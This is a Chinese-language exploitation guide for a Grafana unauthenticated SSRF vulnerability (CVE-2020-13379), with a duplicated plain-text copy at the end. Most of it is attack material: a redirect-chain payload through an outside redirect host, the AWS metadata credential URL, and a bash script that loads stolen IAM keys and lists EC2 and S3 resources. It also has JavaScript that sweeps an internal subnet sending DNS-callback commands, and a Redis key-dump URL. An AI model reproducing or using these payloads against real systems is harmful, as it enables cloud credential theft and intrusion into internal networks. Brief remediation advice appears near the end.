挖洞经验 | Grafana应用实例未授权读取型SSRF
字数 836 2025-08-15 21:31:37

Grafana未授权SSRF漏洞(CVE-2020-13379)深度分析与利用指南

漏洞概述

CVE-2020-13379是Grafana 3.0.1至7.0.1版本中存在的一个严重服务端请求伪造(SSRF)漏洞,允许攻击者在未授权的情况下通过精心构造的URL使Grafana服务器向内部网络发起任意HTTP请求。

漏洞影响范围

  • 受影响版本:Grafana 3.0.1至7.0.1
  • 受影响组件
    • 标准Grafana实例
    • Gitlab集成实例(/-/grafana)
    • SourceTree集成实例(/-/debug/grafana/)

漏洞技术分析

漏洞根源

漏洞位于api.go文件的第423行:

r.Get("/avatar/:hash", avatarCacheServer.Handler)

该代码用于处理Gravatar头像加载请求,存在以下关键问题:

  1. URL参数注入this.hash参数未经过严格过滤,允许注入额外参数
  2. 重定向链问题:通过d参数构造多重跳转
  3. 正则表达式缺陷:主机验证机制存在缺陷

漏洞利用链

  1. 初始请求

    https://grafanaHost/avatar/test?d=google.com%3f;/bp.blogspot.com
    
  2. 第一跳转

    https://secure.gravatar.com/avatar/anything?d=google.com%3f;/1.bp.blogspot.com/
    → http://i0.wp.com/google.com%3f%;/1.bp.blogspot.com/
    
  3. 第二跳转

    http://i0.wp.com/google.com%3f%;/1.bp.blogspot.com/
    → https://google.com?;/1.bp.blogspot.com
    

最终利用Payload

https://grafanaHost/avatar/test?d=redirect.rhynorater.com?;/bp.blogspot.com/YOURHOSTHERE

漏洞利用场景

1. 云实例元数据API访问

AWS元数据服务器探测

http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE

利用脚本示例

#!/bin/bash
out=$(cat -)
export AWS_ACCESS_KEY_ID=$(echo $out | jq .AccessKeyId | sed 's/"//g')
export AWS_SECRET_ACCESS_KEY=$(echo $out | jq .SecretAccessKey | sed 's/"//g')
export AWS_DEFAULT_REGION=us-east-1
export AWS_SESSION_TOKEN=$(echo $out | jq .Token | sed 's/"//g')

echo "Profile loaded!"
aws sts get-caller-identity
aws ec2 describe-instances > ec2Instances.txt
echo "EC2 Instances outputted to \"ec2Instances.txt\"!"
aws s3api list-buckets > s3Buckets.txt
echo "S3 Buckets outputted to \"s3Buckets.txt\"!"

2. 盲SSRF与内网探测

Grafana渲染器探测

localhost:3001/render?url=http://yourhost&domain=a&renderKey=a&timeout=30

自动化探测HTML

<script>
async function postData(url = '', data = {}) {
  const response = await fetch(url, {
    method: 'POST',
    mode: 'no-cors',
    headers: {
      'Content-Type': 'application/json'
    },
    body: JSON.stringify(data)
  });
  return response.json();
}

for (var i = 0; i < 255; i++){
  postData('http://10.0.0.'+i+'/oneshotrce', { cmd: 'dig dnscallback.com' })
}
</script>

3. Gitlab Prometheus Redis导出器利用

Redis数据导出

http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*

4. 图像型SSRF转全读型SSRF

利用Content-Type验证绕过

example.com/fetchImage.php?image=http://internalgrafana/avatar/.../169.254.169.254

漏洞修复建议

  1. 升级至Grafana 7.0.2或更高版本
  2. 实施严格的输入验证,特别是对:hash参数
  3. 限制Grafana实例的出站网络连接
  4. 对云元数据API实施访问控制

漏洞挖掘经验总结

  1. 优先检查未授权路径,其次是授权绕过
  2. 针对开源应用中的特殊功能进行重点测试
  3. 关注参数注入和重定向链问题
  4. 综合利用多个小问题形成完整攻击链
  5. 分享漏洞发现以获取更多利用思路

参考资源

Grafana未授权SSRF漏洞(CVE-2020-13379)深度分析与利用指南 漏洞概述 CVE-2020-13379是Grafana 3.0.1至7.0.1版本中存在的一个严重服务端请求伪造(SSRF)漏洞,允许攻击者在未授权的情况下通过精心构造的URL使Grafana服务器向内部网络发起任意HTTP请求。 漏洞影响范围 受影响版本 :Grafana 3.0.1至7.0.1 受影响组件 : 标准Grafana实例 Gitlab集成实例(/-/grafana) SourceTree集成实例(/-/debug/grafana/) 漏洞技术分析 漏洞根源 漏洞位于 api.go 文件的第423行: 该代码用于处理Gravatar头像加载请求,存在以下关键问题: URL参数注入 : this.hash 参数未经过严格过滤,允许注入额外参数 重定向链问题 :通过 d 参数构造多重跳转 正则表达式缺陷 :主机验证机制存在缺陷 漏洞利用链 初始请求 : 第一跳转 : 第二跳转 : 最终利用Payload 漏洞利用场景 1. 云实例元数据API访问 AWS元数据服务器探测 : 利用脚本示例 : 2. 盲SSRF与内网探测 Grafana渲染器探测 : 自动化探测HTML : 3. Gitlab Prometheus Redis导出器利用 Redis数据导出 : 4. 图像型SSRF转全读型SSRF 利用Content-Type验证绕过 : 漏洞修复建议 升级至Grafana 7.0.2或更高版本 实施严格的输入验证,特别是对 :hash 参数 限制Grafana实例的出站网络连接 对云元数据API实施访问控制 漏洞挖掘经验总结 优先检查未授权路径,其次是授权绕过 针对开源应用中的特殊功能进行重点测试 关注参数注入和重定向链问题 综合利用多个小问题形成完整攻击链 分享漏洞发现以获取更多利用思路 参考资源 漏洞报告模板工具 Scout2 AWS安全评估工具